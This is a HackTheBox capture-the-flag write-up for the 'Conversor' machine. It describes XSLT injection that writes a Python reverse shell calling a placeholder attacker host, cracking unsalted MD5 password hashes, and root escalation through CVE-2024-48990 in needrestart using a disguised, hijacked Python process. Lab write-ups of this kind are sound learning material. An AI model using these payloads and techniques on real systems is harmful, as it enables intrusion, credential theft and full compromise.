Conversor Writeup - HackTheBox
Last updated May 10, 2026 • 3 min read
Discovery
First we start with a NMAP scan:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http Apache httpd |_http-title: Conversor
Add conversor.htb to /etc/hosts. Port 80 hosts a Flask web application — an XML/XSLT conversion tool that accepts file uploads and renders the transformation output.
Initial Access
Source Code Review
The app advertises itself as open-source and the source is available for download. The /convert route is the attack surface:
@app.route('/convert', methods=['POST'])
def convert():
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
The XML parser has resolve_entities=False and no_network=True, blocking XXE. However, the XSLT file is parsed with no restrictions. lxml's XSLT engine supports EXSLT extensions including exsl:document, which writes arbitrary content to arbitrary paths on the filesystem — this is not blocked.
Registration is open. Create an account and log in to access the converter.
XSLT Injection — File Write to Web Root
The exsl:document extension element writes the contents of its body to a path specified in the href attribute. The app runs as www-data with write access to the scripts directory under the web root.
Craft a malicious XSLT that writes a Python reverse shell to a known server path:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:hackindex="http://exslt.org/common"
extension-element-prefixes="hackindex"
version="1.0">
<xsl:template match="/">
<hackindex:document href="/var/www/conversor.htb/scripts/rs.py" method="text">
import os, pty, socket
s=socket.socket()
s.connect(("$ATTACKER_IP", $ATTACKER_PORT))
[os.dup2(s.fileno(), f) for f in(0, 1, 2)]
pty.spawn("sh")
</hackindex:document>
</xsl:template>
</xsl:stylesheet>
Upload any valid XML file alongside this XSLT. The transformation runs, and exsl:document writes the Python shell to /var/www/conversor.htb/scripts/rs.py.
Start a listener:
Trigger the shell by having the server execute the written script:
Shell lands as www-data.
Lateral Movement
SQLite Credential Extraction
The app's SQLite database is at /var/www/conversor.htb/instance/users.db. Extract the users table:
fismathack|$FISMATHACK_HASH admin|21232f297a57a5a743894a0e4a801fc3
Passwords are MD5-hashed without salt. Crack with hashcat:
$FISMATHACK_HASH:$FISMATHACK_PASSWORD
SSH as fismathack
The cracked password works directly on the system account.
Privilege Escalation
CVE-2024-48990 — needrestart PYTHONPATH Hijack
Check the needrestart version:
needrestart 3.5
Versions before 3.8 are vulnerable to CVE-2024-48990. When needrestart scans running processes for interpreter restarts, it picks up the PYTHONPATH environment variable from Python processes and imports from it — including shared libraries. A local user can plant a malicious __init__.so in a controlled PYTHONPATH directory and wait for needrestart to trigger (e.g. during an apt upgrade), causing the shared library to execute as root.
The exploit adds a new root-equivalent user _daemon to /etc/passwd by patching the file with sed.
Compile the shared library on the attacker machine:
Transfer it to the target and stage the exploit:
Start a long-running Python process with the malicious PYTHONPATH set. The process needs to look like a real system process and reference an existing file as its "script":
PYPATH=/tmp/.X11-Unix PYTHON=/usr/bin/python3 \
ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' \
python3 -c '
import os, ctypes
libc = ctypes.CDLL("libc.so.6")
pid = os.fork()
exit() if pid > 0 else print("\n", os.getpid())
libc.ptrace(0, 0, 0, 0)
os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH": os.environ["PYPATH"]})
'
This forks a suspended Python process visible in the process list with a convincing name. needrestart will see it, read its PYTHONPATH, and import from it the next time it runs.
Trigger needrestart by running apt:
Once needrestart fires, the shared library executes and patches /etc/passwd:
Password: _daemon. Root shell.
References
-
CVE-2024-48990 needrestart PYTHONPATH privilege escalation PoC
-
NVD, CVE-2024-48990 needrestart local privilege escalation
-
Qualys TRU, needrestart vulnerability analysis
-
book.hacktricks.wikibook.hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html (opens in new tab)
HackTricks, XSLT server-side injection